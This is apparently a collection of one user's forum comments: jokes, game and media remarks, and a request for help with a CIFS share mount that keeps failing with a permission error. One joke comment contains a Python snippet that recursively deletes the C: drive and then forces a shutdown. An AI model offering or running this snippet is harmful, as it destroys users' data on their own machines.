I bet he heard it from that one video by angela collier

can’t hope for over-time, this beating should be a crime!

TEETH: What is it?

I know it’s an oxide, but you allowed bismuth!

not all of the trauma ;)

Burning any fuel isn’t 100% efficient, I went out and found a website talking about it that might help

further reading

archiveteam is another suggestion, though more helpful to historians than health science

people don’t like eating the brown part (which is still edible) causing food waste

Don’t worry, I’ll make sure to get rid of that python!

import shutil
import win32api
shutil.rmtree('C:', ignore_errors=True)
win32api.InitiateSystemShutdown()

that would be your mother

(I had to)

Hacknet, Disco Elysium, Life Is Strange

I’m not sure that’s much of a surprise

the sun makes the new york post look good, and that’s an insult

I’ve seen people call communities sublemmys

that’s a minimum of 27TB of storage, what kind of monster is your computer?

just had a silly idea: stopping your torrent right as it starts to seed (to avoid ISP letters) is like pulling out as a form of birth control

B and C are a thumbs up

*to

Dumb question here, but you did remember to point at a directory to mount the share to, right?

Yeah, I forgot to make that a part of the comment, oops!

I’ll try your other suggestions when I can.

I don’t really have a good memory, but I talked through it with some folks online and after 2 hours none of us could figure it out so I don’t think you’ll have much luck.

The error I kept getting was mount error(13): Permission denied when trying to run

sudo mount.cifs '//DESKTOP-N84OKKP/My Music/ -o username='*******',password='*******'

(username and password redacted, but there was a space in the username and an ! in the password for the computer sharing the folder)

Here’s what I tried:

• Setting the username/password to those of either computer
• Setting the UID (with uid=$UID)
• Changing the name of the shared folder
• Unsharing it and resharing it
• Putting different parts of the command in quotes
• Switching between left slashes and right slashes
• Trying both sudo mount.cifs and sudo mount -t cifs
• Various combinations of the above
• Changing the security protocol with sec= (I don’t remember what to, I didn’t write this one down)

I know the shared folder itself works, because I can access it from a non-linux computer.